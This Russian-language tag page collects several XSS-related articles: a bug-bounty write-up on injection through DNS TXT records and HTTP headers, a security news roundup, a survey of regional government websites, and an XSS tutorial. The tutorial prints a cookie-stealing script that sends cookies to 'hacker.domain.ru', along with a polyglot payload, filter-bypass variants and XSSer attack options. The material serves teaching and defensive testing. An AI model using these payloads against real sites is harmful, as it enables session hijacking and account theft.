Русский
Русский
English
Статистика
Реклама

Xss

Неочевидные уязвимости онлайн сервисов. Часть первая

16.06.2021 16:13:28 | Автор: admin

Пожалуй, каждый второй программист хоть раз задумывался попробовать создать свой, если не стартап, то собственный онлайн сервис. Может быть, такой инструмент умел бы делать простые SEO-аудиты сайтов, помогал находить технические ошибки, упрощая жизнь вебмастерам или маркетологам.

А может быть, вы популярный хостинг? Хотите привлечь пользователей, используя около-тематический трафик создаете онлайн сервис который смог бы заменить целые серверные утилиты nslookup, dig, curl?! Звучит неплохо, но всё ли так хорошо с безопасностью пользователей?

Об интересных и неочевидных уязвимостях онлайн-сервисов поговорим под катом.

Важное отступление


Перед началом путешествия по барханам незащищенности, стоит отметить, что уязвимости рассматриваемых в статье сайтов уже закрыты. Однако, в сети есть еще множество сервисов, которые могут быть подвержены описанным уязвимостям поэтому приведенные в статье примеры нужно расценивать как инструкцию к самостоятельной работе над ошибками.
Некоторые сервисы, которые мы рассмотрим, разрабатывались профессиональными программистами, возможно, с привлечением специалистов по безопасности. Не стоит думать, что профессионалы не могут ошибаться.
Поиск уязвимостей проходил в рамках программы BugBounty. Все сайты, указанные во всех частях статьи, раскрыты с письменного согласия владельцев.
Ой! Прекратите! Чем опасен XSS в 2021??! Да и вообще, XSS не опасен. Не смешите читателей!
Кажется, верное утверждение. С внедрением CORS, X-XSS-Protection современные браузеры научились неплохо фильтровать XSS, вот только не все так гладко.

Любая XSS уязвимость, несет в себе идею возможности кражи Cookie данных для авторизации или переброски пользователя на фишинговый сайт например, для имитации окна ввода пароля. Эта статья как раз про то, что XSS всё ещё опасен, даже в Google Chrome.

Проверяем DNS записи или опасности утилиты Dig и NSLOOKUP в онлайн сервисах


Рассматриваемую здесь уязвимость можно расценивать как Stored XSS. Хоть хранимой она, в зависимости от архитектуры построения сервиса может не являться, вот только конечному пользователю будет совершенно непонятно откуда на странице взялся скрипт.

Если кто не знает, серверная утилита Dig (NSLOOKUP работает похожим образом) позволяет получить DNS записи любого домена. В интернете же, можно найти множество онлайн сервисов, которые используют эту утилиту у себя на бэкенде, а своим пользователям показывают результат её работы.

DNS записей существует несколько: A, MX, CNAME, SOA, TXT и другие. Мне стало интересно проверить возможности TXT записи что если здесь написать скрипт? Для проверки атаки нужен собственный домен.



Оказалось, помимо всевозможных символов DKIM и SPF подписей, в TXT запись можно написать обычный скрипт или полноценный html, с небольшими нюансами. Можно было бы подумать, что мой NS провайдер не экранирует спецсимволы, но нет так делать можно у всех.

Оказалось, помимо всевозможных символов DKIM и SPF подписей, в TXT запись можно написать обычный скрипт или полноценный html, с небольшими нюансами. Можно было бы подумать, что мой NS провайдер не экранирует спецсимволы, но нет так делать можно у всех.

Вот только сама схема эксплуатации не очевидна. Согласитесь, что написать скрипт в TXT запись домена, чтобы эксплуатировать XSS на ум сразу не приходит. Так и программисту, который выводит информацию со своего же бэкенда может показаться, что все в порядке тут нЕчего экранировать.

Положение ухудшается еще и тем, что утилиту Dig часто используют популярные хостеры и регистраторы, данные пользователей которых имеют повышенную ценность. А большинство таких онлайн-инструментов еще и генерирует прямую ссылку на результаты проверки.

На видео выше видим простую реализацию эксплуатации XSS уязвимости крупного хостинг-провайдера. Здесь пришлось немного изощренно подойти к вопросу реализации и вместо тега script, навесить код на событие onerror тегаimg.

Ребята из ukraine.com.ua закрыли уязвимость через 10 минут, после моего обращения в техподдержку. Быстрее, на моем опыте, пока не делал никто. Адекватная и профессиональная команда на всех этапах переговоров.

А что другие, спросите Вы? Например, ребята из Xtool тоже быстро исправили проблему и разрешили рассказать об этом в статье. Проблема здесь была в блоке DNS INFO:


Остальные сервисы, с кем удалось связаться, закрыли уязвимость в течении месяца, но запретили публиковать любую информацию о них. Другие, вообще не ответили и нет другой возможности рассказать им, как сделать уязвимость публичной.

Тем не менее, стоит отметить, что XSS уязвимости через TXT записи домена были (и могут быть) подвергнуты проекты масштабом на любой вкус от 200 тысяч до нескольких миллионов посетителей в месяц (по данным Similarweb), по всему миру.

Желаю всем владельцам онлайн инструментов быть максимально адекватными и рассматривать пользователей, рассказавших об уязвимости как друзей, но не врагов.

Странные HTTP заголовки в ответе сервера


Продолжим тестировать онлайн-сервисы что если передать скрипт в HTTP заголовке? Сколько сервисов будут экранировать заголовки сервера, выводимые на свой фронтенд из curl -I [host]? Давайте попробуем, назовем заголовок X-Test .


Многие SEO-анализаторы, помимо технической информации о сайте, выводят, в том числе и заголовки ответа сервера. Это проблема не только мелких анализаторов. Здесь, как и в уязвимости из прошлого раздела, не очевидной уязвимости со скриптом в HTTP заголовке были подвержены проекты разных масштабов.

Идея эксплуатации HTTP заголовка ответа сервера не лежит на поверхности, именно поэтому разработчики могли упустить попытки подобной XSS атаки. Так произошло и с SEO анализатором сайтов Seolik, владельцы которого любезно разрешили опубликовать этот кейс. Разработчики проявили серьезное отношение к безопасности и в режиме адекватного диалога очень быстро исправили уязвимость.

Можно справедливо заметить, что для безопасности исполнения скриптов стоит использовать Content Security Policy . Некоторые онлайн-инструменты использовали этот прием и отключали inline скрипты. Однако, это не сильно осложняло задачу эксплуатации уязвимости, ведь большинство сервисов пользуются внешними средствами аналитики трафика.


Перед началом использования счетчиков, на странице необходимо инициализировать их, например так script nonce="analytics". Чтобы этот код заработал, онлайн-сервис добавил в CSP: default-src 'nonce-analytics'.

Но безопаснее не стало ведь мы по прежнему можем передать через XSS over Response Header такую же конструкцию скрипта. Браузер будет считать чужой скрипт местным.

Пишем скрипт в HTML теги


Согласитесь, писать скрипт в тег заголовка страницы неочевидное решение для попытки эксплуатации XSS. Но оно работает. Исследовав небольшую часть онлайн-сервисов, становится понятно, что не все экранируют содержимое HTML тегов: title, h1, description и других.

Разработчики популярного сервиса поисковой аналитики Topvisor тоже упустили нашу маленькую шалость и вывели содержимое тега title на страницу отчета анализа сайта.

Здесь, очень полезная функция ТопВизора Поделиться результатом анализа играет нам на руку ведь мы получаем прямую ссылку на эксплуатацию XSS уязвимости через вывод содержимого HTML тегов. Также стоит отдать должное отношению к безопасности разработчики связались в тот же день и сразу закрыли уязвимость.

Ситуация повторяется в популярном онлайн-сервисе для SEO-аудита PR-CY. Здесь также, в инструменте проверки Open Graph разметки, не экранировались значения полученные с исследуемого ресурса. Для удобства пользователей генерировалась прямая ссылка на результат что конечно на руку атакующему.

Администраторы PR-CY исправили баг в течении часа после обращения в поддержку, за что им спасибо. А еще через некоторое время предложили провести дополнительный аудит других проектов.


Неожиданные уязвимости популярных онлайн-инструментов


Пожалуй, в этой главе будет история об одной, точнее о нескольких наиболее неожиданных уязвимостях популярных онлайн-сервисов, один из которых за авторством W3C. История, которую можете попробовать написать сами.

Нет. Писать текст не придётся. Здесь не будет NFT котиков и рояля на тросах, но будет небольшая головоломка. Предлагаю читателям как можно скорее найти и раскрыть все варианты одной XSS уязвимости онлайн-сервиса от W3C который называется "Unicorn".


Официально, уязвимость на W3C уже исправлена, но специально для читателей этой статьи я развернул на своем сервере уязвимую версию Unicorn Validator. Чтобы хоть как-то усложнить задачу, вам придется самостоятельно разыскать адрес моего онлайн-сервиса. А еще есть арбитр, который сможет ответить на некоторые вопросы если вы окажетесь совсем в тупике и подскажет удалось ли найти все решения головоломки.

Решением можно считать найденные, как минимум, 3 разных способа эксплуатации XSS уязвимости Юникорна (должны быть разные варианты скрипта и разные теги страницы). Варианты точно не очевидные, но очень простые и из статьи легко понять направление поиска. Минимально, в валидаторе должен сработать alert с любым текстом из вашего скрипта.

Пока вы решаете головоломку, я подготовлю вторую часть статьи с объявлением лучших решателей и подробным описанием уязвимостей популярного продукта W3C Unicorn и еще нескольких онлайн-сервисов, аудитория которого превышает несколько миллионов посетителей в месяц (по данным SimilarWeb).


Подробнее..

SecurityWeek 42 полмиллиона долларов за баги в инфраструктуре Apple

12.10.2020 18:16:09 | Автор: admin
Интересной новостью прошлой недели стал набор уязвимостей в инфраструктуре компании Apple, которые в течение трех месяцев обнаружила команда из пяти человек. За 55 уязвимостей, включая 11 критических, IT-гигант выплатит независимым исследователям 237 тысяч долларов. Эта сумма результат частичного анализа отчетов, общая награда может превысить 500 тысяч долларов. Рекордный совокупный платеж соответствует опасности обнаруженных проблем: несколько багов позволяли взламывать аккаунты облачного сервиса iCloud, получать доступ к закрытым ресурсам Apple и даже локальной сети компании.

Для внешнего наблюдателя событие интересно подробнейшим описанием 11 критических уязвимостей, опубликованным в блоге руководителя группы исследователей, Сэма Карри. Все уязвимости так или иначе относятся к сетевым сервисам компании: в одном из отчетов даже упоминается, что непосредственно под рукой у взломщиков даже не было устройств iPhone и iPad. По словам Сэма Карри, работники Apple исправили все проблемы крайне оперативно, некоторые в течение нескольких часов после отправки отчета.


Спринт по взлому Apple начался со сканирования серверов компании, доступных из Сети. Заодно стало известно, что компании целиком принадлежит диапазон IP-адресов 17.0.0.0/8. Уже на этом этапе всплыли 22 узла с уязвимостью CVE-2020-3452 в VPN-серверах Cisco: ее можно использовать для чтения произвольных файлов. Среди 11 критических уязвимостей стоит отметить две наиболее интересные.


Первая: исследователям удалось взломать форум закрытой программы AppleDistinguishedEducators. На форуме использовалось ПО Jive Intranet, к которому была прикручена единая система авторизации Apple. Для доступа к форуму требовалось оставить заявку на сервере. Как выяснилось по итогу анализа запросов после заполнения формы, на сервере сохранился рудимент собственной системы авторизации Jive, на котором работала система заявок. Каждая заявка по сути создавала новый аккаунт на форуме, с дефолтным паролем ###INvALID#%!3. Действительно, ведь логин потом происходит через Signin withApple, правильным оформлением внутренних аккаунтов Jive можно было не заниматься.

Это было ошибкой со стороны тех, кто настраивал сервер. Сэм Карри и его коллеги, естественно, нашли способ задействовать штатную систему авторизации, но не смогли войти на форум, так как их аккаунт не получил одобрение администратора. Они запустили перебор всех трехбуквенных логинов, и один их них сработал с тем же дефолтным паролем. Так исследователи проникли на форум, после чего посмотрели список пользователей, определили администраторов и таким же способом залогинились под учетной записью с расширенными правами. После ряда экспериментов они смогли выполнить произвольный код на сервере. Вроде бы взломали форум и все, ничего интересного. Но выполнение произвольного кода открывало доступ к сервису LDAP и довольно обширной части внутренней сети Apple.

Вторая интересная уязвимость нашлась в сервисе iCloud, точнее в почтовом клиенте, а еще точнее в его веб-версии. Здесь исследователи прицельно искали уязвимость типа XSS способ выполнения кода с доступом к личным данным пользователя, так, чтобы их в худшем для жертвы случае можно было украсть. И она нашлась! Прежде всего, выяснилось, что новые сообщения поступают в веб-клиент в виде куска данных в формате JSON, а дальше обрабатываются локально. После ряда экспериментов с тегом style появилась возможность выполнения произвольного скрипта в следующей конфигурации:


Это открыло доступ к любым сервисам iCloud из браузера жертвы. Для успешной атаки достаточно было отправить подготовленное электронное сообщение. Если пользователь открывает его в веб-клиенте, выполняется вредоносный скрипт. PoC-модель у хакеров получилась элегантная и злая: раз уж у нас есть полный доступ к iCloud от имени залогиненного пользователя и получили мы его через почтовый клиент, давайте скачаем пачку фотографий жертвы, вышлем их себе на почту, а заодно разошлем зараженное сообщение по всей адресной книге. Если бы эту дыру нашли не исследователи, а киберпреступники, могла произойти очередная массовая утечка приватных данных (с поправкой на то, что не все пользуются веб-клиентом, конечно). PoC на видео:


Другие критические уязвимости обеспечивают взлом системы управления промышленным производством DelmiaAlpriso, выполнение произвольного кода на сервере для получения и обработки контента от издателей, а также получение ключей доступа к серверам на хостинге AmazonWebServices. В данной истории ценность представляет именно подробное описание уязвимостей исследователями, так как вендоры в подобном раскрытии информации не заинтересованы и обычно ограничиваются сухими фразами типа при некоторых условиях возможно выполнение кода.

Что еще произошло


Журналисты ArsTechnicaпишут о неисправимой уязвимости в чипе T2 в настольных компьютерах и ноутбуках Apple. Взломать эту аппаратную систему безопасности удалось с помощью условного портирования эксплойта Checkm8, используемого для джейлбрейка устройств на базе iOS.

В комбинации с другой ранее обнаруженной уязвимостью в T2, у новой дыры есть потенциал для обхода ключевых механизмов защиты, например авторизации по отпечатку пальца и шифрования данных. Масштаб последствий пока точно не определили: в текущем виде набор эксплойтов можно применить только локально, уязвимость не переживает перезагрузку, а примеров практической кражи данных не показали.

Исследователи компании ImmersiveLabsнашли способ кражи персональных данных с умных часов и фитнес-браслетов Fitbit через вредоносное приложение.

Британские ученые исследователи из PenTestPartnersвзломали еще один умный девайс мужской пояс верности с управлением по Bluetooth. Практическое отсутствие систем защиты открывает управление устройством кому угодно.

Компания Facebook меняет правила программы bugbounty и пытается мотивировать исследователей работать над поиском уязвимостей в соцсети постоянно. В обмен на деньги: стаж в программе превращается в бонусы при выплатах за обнаруженные дыры.


Специалисты Microsoft исследуют русскоязычный (см. скриншот выше) троян-вымогатель для Android, известный как MalLocker. Зловред не шифрует данные, но блокирует доступ к устройству и использует публично доступный модуль машинного обучения (!) для автоматического изменения размера картинки под параметры экрана.
Подробнее..

Сайты региональных органов власти все еще печальнее, чем у федералов

06.12.2020 22:08:26 | Автор: admin
image

Вот мы и выпустили сводный доклад по итогам мониторинга сайтов высших органов власти регионов Надежность сайтов органов государственной власти субъектов Российской Федерации 2020. Оценивали их с трех сторон: а) можно ли эти сайты считать официальными с точки зрения закона, б) обеспечивают ли они надежное HTTPS-соединение, и в) что и откуда они загружают, т.е. насколько потенциально уязвимы к XSS и как щедро сливают данные о своих посетителях третьим лицам?

По результатам исследования сайтов федеральных органов власти можно было догадаться, что на региональном уровне все окажется не лучше, но вот как и насколько, мы даже не догадывались.

Что касается официальности сайтов: у федералов 2 из 82 исследованных сайтов органов власти оказались неофициальным. Первоначально мы посчитали неофициальным еще и сайт Росгвардии, администрируемый подведомственным ей центром информационных технологий, но та отстояла свою точку зрения: центр это войсковая часть, т.е. часть самой Росгвардии, поэтому нарушения закона тут нет, а есть наша невнимательность (но вот TLS-сертификат у них на сайте уже вне всяких сомнений второй месяц как протух).

Поэтому региональные сайты мы проверяли по уже доработанной методике, предусматривающей запрос в ЕГРЮЛ и выяснили: из 184 сайтов, названных официальными, 27 (15%) таковыми не являются, т.к. соответствующие доменные имена администрируются подведомственными госучреждениями, коммерческими и некоммерческими организациями, и даже физическими лицами, хотя закон четко устанавливает, что это разрешено только государственным органам (читай органам власти). Особенно отличились Северо-Западный и Сибирский федеральные округа, где официальных сайтов не имеют более 30% высших органов власти.

С замиранием сердца делали запрос в ЕГРЮЛ по ИНН администратора сайта Парламента Чеченской Республики, который указан в реестре регистратора как ООО Парламент ЧР. Я, конечно, заранее извиняюсь, Рамзан Ахматович, но у парламентов в России иная организационно-правовая форма, и в ФНС считают так же (они пусть сами извиняются). В общем, сенсации не случилось администратор там Аппарат Парламента Чеченской Республики, а за ООО пусть извиняется тот, кто внес такую запись в реестр доменов.

Тут внимательный читатель может перебить меня вопросом: а почему исследовались 184 сайта, когда субъектов федерации 85? Отвечаю: исследовались сайты региональных правительств, парламентов и губернаторов при их наличии (сайта, а не губернатора). Но если вы думаете, что количество губернаторских сайтов легко вычисляется по формуле 184 85 85 (= 14), то вы заблуждаетесь, все намного сложнее. Например, у Правительства Москвы нет своего сайта, есть только сайт Мэра Москвы, где правительству отведен свой угол. Зато органы власти некоторых других субъектов располагают сразу двумя сайтами, причем оба называются официальными.

Для примера, у Правительства Республики Тыва сразу два сайта, оба названы официальными (gov.tuva.ru и rtyva.ru) и оба таковыми не являются с точки зрения закона, т.к. первое доменное имя администрируется АО Тывасвязьинформ, а второе вообще анонимным физическим лицом. У Правительства Костромской области тоже два сайта (adm44.ru и kostroma.gov.ru), оба официальные, но с разным наполнением.

Меня в комментариях к одной из прошлых публикаций упрекнули, что мы доматываемся до мышей с этой официальностью. Нет, ребята, мы просто требуем неукоснительно соблюдать закон, тем более что в данном случае он логичный и легко исполнимый: администратором доменного имени для сайта органа власти может быть только орган власти. Не подведомственное госучреждение, не ООО, не гражданин Пупкин, а только орган власти и точка.

С поддержкой HTTPS на региональном уровне все примерно так же, как и на федеральном: большинство декларирует наличие поддержки, но лишь четверть действительно обеспечивает что-то похожее на нормальную защиту соединения, остальные кто сертификат забыл вовремя обновить, а кто годами ПО на веб-сервере не обновляет, и тот светит в Интернет дырами и уязвимостями чуть не десятилетней давности.

Интересно тут другое: наверное, все хотя бы слышали про Электронную Москву, Электронную Бурятию, Электронный Татарстан и прочие электронные программы по освоению бюджетов на информатизацию госуправления. А знаете, у кого в результате оказалась лучшая поддержка HTTPS на официальном сайте? У правительств Ульяновской и Московской областей и парламентов Владимирской области и ЯНАО.

Я вот ничего даже не слышал про Электронное ЯНАО, может такой программы и не существует, а хотя бы одного пряморукого админа в ЯНАО найти смогли (пятое место по площади среди субъектов федерации, населения как в одном районе Москвы). А в электронной Бурятии то ли с населением еще хуже (Росстат возражает), то ли денег на нормального админа не хватило, но сервера обоих органов власти законодательной и исполнительной приветливо машут любознательным исследователям букетом из CVE-2014-0160, CVE-2014-0224, CVE-2016-2107, CVE-2019-1559 и далее со всеми остановками.

Из занимательного: при попытке проверить сайт Администрации Ненецкого автономного округа, мы наткнулись на блокировку по IP ряда исследовательских инструментов. На это у администратора хватило и усердия, и знаний, и желания, а вот на закрытие CVE-2012-4929 (кто не в курсе, первая цифра год описания уязвимости, 8 лет назад, Карл!) и прочих дыр уже ни сил, ни желания не осталось, а может и знаний тоже.

Лидером по поддержке защищенного соединения является Южный федеральный округ, где 53% исследованных сайтов обеспечивают достаточно надежное HTTPS-соединение. Следом за ним идут Центральный и Уральский (47% и 40% соответственно). Отстающие Приволжский и Северо-Кавказский, в которых лишь 13% сайтов высших органов власти не имеют значимых проблем с поддержкой защищенного соединения.

Что касается XSS, т.е. мусора, которые сайты сами загружают из сторонних источников, то тут, как и у федералов зоопарк: JS-библиотеки, шрифты, счетчики, баннеры и далее со всеми остановками, но есть и свои интересные нюансы.

Например, у федералов Google Analytics на 4 месте по популярности, а у регионалов на 7; это даже в абсолютных цифрах меньше, чем у федералов. Но если собственно счетчик GA стоит лишь на 9% региональных сайтов, то гуглокод вообще на 63%, так что данные о посетителях они все равно успешно собирают. А вот на третьем месте среди счетчиков у регионалов внезапно оказался Bitrix. Это который вроде бы CMS ну и еще немного сбора статистики.

Рекордсменом по любви к аналитике стало Правительство Алтайского края, чей сайт украшен сразу 6 счетчиками, но его успех несколько меркнет по сравнению с сайтами Администрации Костромской области, парламентов Калининградской области, Удмуртской Республики и Москвы, которые украшены кодом счетчика OpenStat, уже два года не подающим признаков жизни. Это, конечно, не электронные пропуска шаманить, это ж HTML, а у ДИТ лапки загребущие.

В качестве резюме: как и в случае мониторинга федеральных сайтов, мы рассылали отдельные доклады по субъектам их героям. Федералов после этого специально не мониторили, но подвижки видны невооруженным глазом: кто-то дыры на сервере залатал, кто-то HTTPS включил, кто-то TLS-сертификат обновил, кто-то так и не почесался, но реакция заметна.

Регионалов немного помониторили, пока единственная заметная реакция Правительство Тульской области переписало домен для своего сайта с подведомственного госучреждения на региональное Минсвязи. Хорошо, мы для того и мониторили, чтобы указать на ошибки и подсказать, как их исправить. Плохо, что остальным, похоже, плевать: ну нарушаем закон о доступе к госинформации, ну сайт дырявый, ну грузят на него код все подряд, включая вероятного противника, подумаешь

В общем, пока на главной странице его сайта не появится срамная картинка или хула на государя-императора, губернатор партбилетом не перекрестится. Через год проверим, так ли это планируем проводить мониторинг ежегодно.
Подробнее..

Пс, парень, твоей странице ltscriptgtalert(скрипт)ltscriptgt не нужен?

13.01.2021 14:06:06 | Автор: admin

XSS (Cross Site Scripting) - один из самых популярных видов веб-уязвимостей, позволяющий производить внедрение вредоносного кода в отдаваемую веб-приложением страницу. Атаки с использованием XSS-вектора позволяют внедрять на страницу произвольное содержимое, перехватывать cookie и сессии других пользователей, получать доступ в закрытые разделы сайта и даже привилегии администратора веб-ресурса.

Существует несколько видов XSS:

  • Хранимые. Вредоносный код сохраняется на сервере и загружается с него каждый раз, когда пользователи запрашивают отображение той или иной страницы. Чаще всего проявляются там, где пользовательский ввод не проходит фильтрацию и сохраняется на сервере: форумы, блоги, чаты, журналы сервера и т.д.

    Например, скрипт <img src="http://personeltest.ru/away/exmple.com/">, оставленный на странице сайта с очень высокой посещаемостью, может спровоцировать DDoS-атаку на указанный веб-ресурс.

  • Отображаемые. Вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю.

    Например, при переходе пользователем по ссылке: http://example.com/q=<a href='a' onmouseover=alert('XSS') style='font-size:500px'> на странице отобразится гиперссылка, при наведении на которую выполнится скрипт alert('XSS'). Но для этого необходимо каким-то образом (например, с использованием социальной инженерии) заставить пользователя ввести эту ссылку в адресной строке.

  • XSS в DOM-модели. Представляет собой вариант как хранимой, так и отображаемой XSS-атаки. В данном случае вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится.

    Предположим, что мы разработали веб-приложение, содержащее следующий код:

    <title>Example XSS</title><h1 id="greeting">Hello there!</h1>   <script>        var name = new URLSearchParams(document.location.search).get('name');        if (name !== 'null') {            document.getElementById('greeting').innerHTML = 'Hello ' + name + '!';         }   </script>
    

При его выполнении на странице будет отображаться приветствие "Hello !". Однако, если добавить что-нибудь через параметр name, например "Pentestit", то приветствие изменится на "Hello Pentestit!". Но если в этот параметр добавить нагрузку в виде <img+src+onerror=alert('XSS')>, то произойдет обработка скрипта.

Статья носит информационный характер. Не нарушайте законодательство.

XSS имеют различные вариации, например, сообщение на форуме с текстом <script>alert('XSS')</script> поместит скрипт на странице, и любой пользователь, который посетит ее, вызовет обработку этого скрипта браузером. Но это сработает в том случае, если нет никакой фильтрации пользовательского ввода. Если фильтрация присутствует, хотя бы на закрывающиеся теги, то подобная конструкция уже не сработает. В таком случае скрипт необходимо немного видоизменить, разместив его, например, в тегах <img>, <iframe> и им подобных, то есть в тех, которые не требуется закрывать. Например:

<img src=http://example.com/image.png onerror=alert('XSS')>

Тег <img> отвечает за загрузку картинки на страницу, и при указании адреса, откуда ее загружать, добавляется обработчик событий, который активируется в случае успеха или ошибки при загрузке. В данном случае при ошибке загрузки картинки с ресурса example.com сработает обработчик событий onerror, который запустит скрипт alert('XSS'). Вариаций использования обработчиков событий также довольно много: onload, onerror, onmouseover и т.д. Но помимо безопасной конструкции <script>alert('XSS')</script> злоумышленник может написать скрипт, который будет передавать ему на удаленный сервер cookie всех пользователей, посетивших страницу.

<script>var s=document.location; if (String(s).indexOf('iC')<0){document.location='http://hacker.domain.ru/search.php?q='+document.cookie;}</script>

Есть и так называемые слепые XSS (blind XSS) это вариант хранимой XSS. Суть их работы заключается в том, что злоумышленник не сможет сразу увидеть результат, или результат работы пейлоада будет выводиться, например, на какой-то другой странице, вроде формы обратной связи или публикации отзывов с предварительной модерацией сообщений. Прислав в тексте сообщения скрипт, злоумышленник не увидит никакой реакции от веб-приложения, однако на стороне администратора или модератора сервиса скрипт отработает, вызвав написанную злоумышленником функцию. Если рассматривать данный вид атаки в контексте примера XSS с кражей cookie, то в таком случае администратор, ничего не успев понять, передаст их злоумышленнику.

Главная проблема поиска blind XSS в том, что необходимо учитывать множество контекстов, в которых может выполняться код, например, внутри одинарных или двойных кавычек, различных атрибутов и т.д. Для примера возьмем один и тот же пейлоад и посмотрим, в каких контекстах он может находиться. Исходный пейлоад опять же будет простым <script>alert(context)</script>.

Его можно доработать, чтобы он выполнился также и в других контекстах. Для этого нужно будет подстроиться под них:

  • '><script>alert(context)</script> - вышли за пределы атрибута в одинарных кавычках;

  • '"><script>alert(context)</script> - вышли за пределы атрибута в одинарных и двойных кавычках;

  • -->'"><script>alert(context)</script> - вышли также за пределы HTML-комментария;

  • </textarea>-->'"><script>alert(context)</script> - вышли за пределы элемента textarea;

  • </style></textarea>-->'"><script>alert(context)</script> - вышли за пределы элемента style.

Проверить эти параметры может помочь использование XSS-полиглотов, которые учитывают различные контексты, например:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Такой пейлоад должен выполниться в любом контексте, то есть его можно поместить в любой параметр и не беспокоиться о том, в какой участок кода он попадет.

Существует довольно много пейлоадов-полиглотов, их можно взять из SecLists или тут.

Если подойти к вопросу в контексте безопасности, то использование только сигнатурного анализа в WAF для фильтрации пользовательских данных позволяет выполнить "обход", используя альтернативный метод выполнения сценария. Например, вместо <script>alert('XSS')</script> использовать конструкцию \<a onmouseover="alert('XSS')">xss link\</a> для создания ссылки, при наведении на которую сработает обработчик событий onmouseover, выполнив скрипт. Если фильтруется ввод закрывающих тегов, то можно перейти на теги, которые не требуется закрывать, например <img>. Если WAF блокирует и закрывающие теги, и теги типа <img>, то можно попробовать тег body: <BODYONLOAD=alert('XSS')>

Еще один вариант обхода блокировки WAF методы обфускации пейлоада. Например, используя URL-Encode стандартный пейлоад <script>alert(XSS)</script>, можно превратить в %3Cscript%3Ealert%28XSS%29%3C%2Fscript%3E.

Для автоматизации поиска и эксплуатации XSS-уязвимостей существуют специальные инструменты (фреймворки), такие как XSSer или XSStrike, оба являются бесплатными.

XSSer

Cross Site "Scripter" (также известный как XSSer) это автоматический фреймворк для обнаружения и эксплуатации XSS-уязвимостей в веб-приложениях. Содержит несколько опций для обхода определенных фильтров и специальные техники внедрения кода.

Ключевые особенности инструмента:

  • возможность создания изображений или видеофайлов с XSS-пейлоадом для дальнейшей загрузки в веб-приложение;

  • поиск для внедрения XSS с помощью Google Dorks запросов;

  • проверка наличия XSS-фильтров у целевого веб-приложения;

  • опция генерации пейлоада для попыток обхода систем WAF;

  • выявление Blind XSS.

Установка

Для установки инструмента можно воспользоваться deb-пакетом с официального сайта https://xsser.03c8.net/, либо на github скачать скрипт установки.

Инструкция
  • apt install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-gi python3-cairocffi

  • git clone https://github.com/epsylon/xsser.git

  • cd xsser

  • python3 setup.py install

Использование

Использование ключей для составления запроса

Для вызова справки по командам вводим xsser -h. Команда xsser --update обновит инструмент до актуальной версии, а xss --gtk запустит графический интерфейс, но об этом чуть позже.

Стандартная команда для проверки XSS выглядит так:

# xsser -u "http://example.com" -g "/index.php?login=XSS&password=1&Submit" # xsser -u "http://example.com/index.php" -p "login=XSS&password=1&Submit"
  • -u - URL для проверки;

  • -g/-p - параметры для GET- и POST-запросов с указанием места внедрения проверочного пейлоада при помощи строки XSS.

Опции для настройки запроса
  • --crawler - поиск всех страниц веб-приложения для дальнейшего анализа;

  • --cookie - изменить заголовок HTTP Cookie;

  • --user-agent - изменить заголовок HTTP User-Agent;

  • --referer - использовать другой заголовок HTTP Referer;

  • --header - добавить новые заголовки;

  • --payload - использование определенного пейлоада для тестирования XSS. Если конкретный пейлоад не требуется, то можно указать параметр --auto для их автоматической генерации;

  • --checkaturl - проверить ответ, используя альтернативный URL. Параметр необходим для проверки Blind XSS.

Использование графического интерфейса

Для любителей графического интерфейса существует команда xsser --gtk. Запустится окно программы, где можно настраивать запросы для тестирования аналогично консольному варианту. Но здесь работать гораздо удобнее, исключив возможность запутаться в действительно обширном количестве ключей.

И сразу лайфхак: указывая параметры URL, data, payloads и т.д., их необходимо обязательно заключать в кавычки подобно написанию в консоли. В графическом интерфейсе, видимо, не подразумевалась данная функция по умолчанию.

Вариантов настройки запросов в графическом интерфейсе тоже 2, как и в консольном варианте:

  • обычный режим пользователь сам выбирает параметры для составления запроса;

  • мастер запросов интерактивное окно, в котором необходимо последовательно выбирать такие параметры, как: метод отправляемого запроса, URL проверяемого веб-приложения (один URL или список), метод генерации пейлоадов (конкретный или автоматическая генерация), необходима ли анонимизация отправки запросов такими средствами, как Tor и т.д.

С мастером настройки особых проблем возникать не должно. Главное - четко понимать, какие данные необходимы, поэтому остановимся подробнее на обычном режиме.

При запуске графического интерфейса, как уже говорилось ранее, появится окно программы, где вводится URL для тестирования, указывается использование поисковой системы страниц с уязвимостями, краулер, а также Tor прокси для анонимизации. Остальные настройки будут производиться в соответствующих разделах:

Connection

Основной раздел составления запроса.

Параметры
  • метод используемых запросов (GET или POST);

  • прокси, если необходимо;

  • изменение заголовков User-Agent, Cookie, Referer, Headers (добавление новых заголовков);

  • дополнительно можно указать параметры игнорирования заголовков параметром drop-cookie, следование за редиректами с помощью опции follow-redirects и HTTP аутентификацию.

Cheker

Проверка доступности хоста и настройка проверки Blind XSS.

Параметры
  • HEAD cheker - отправка запроса перед тестированием для проверки того, жив ли тестируемый хост и отвечает ли на запросы. Ожидает ответ от сервера 200 или 302;

  • Blind XSS URL - альтернативный URL-адрес для проверки слепой XSS;

  • Blind XSS payload - альтернативный пейлоад для проверки слепой XSS;

  • Reverse checker - параметр установки обратного соединения с XSSer для подтверждения уязвимости;

  • Discard Cheker - установка кода ответа от веб-приложения для прекращения атак.

Vectors

Позволяет вручную установить пейлоад для проверки или использовать автоматическую генерацию.

Anti-antiXSS

Использование параметров для попытки обхода некоторых WAF, а также анти-XSS фильтры некоторых браузеров. Последнее не имеет смысла, так как заявленые браузеры являются устаревшими и вряд ли не используются на текущий момент.

Bypasser

Содержит различные настройки обфускации пейлоадов для обхода прочих средств защиты.

Параметры
  • --Str - Использовать метод String.FromCharCode ();

  • --Une - Использовать функцию Unescape ();

  • --Dec - Использовать десятичное кодирование;

  • --Hex - Использовать шестнадцатеричное кодирование;

  • --Doo - Кодировать IP-адрес с помощью восьмеричного числа и т.д;

  • --Cem - Использовать несколько методов кодировки.

Technique

Различные техники внедрения пейлоада.

Параметры
  • --Coo - Внедрение межсайтового скриптинга в Cookie;

  • --Xsa - Внедрение межсайтового скриптинга User-Agent;

  • --Xsr - Внедрение межсайтового скриптинга в Referer;

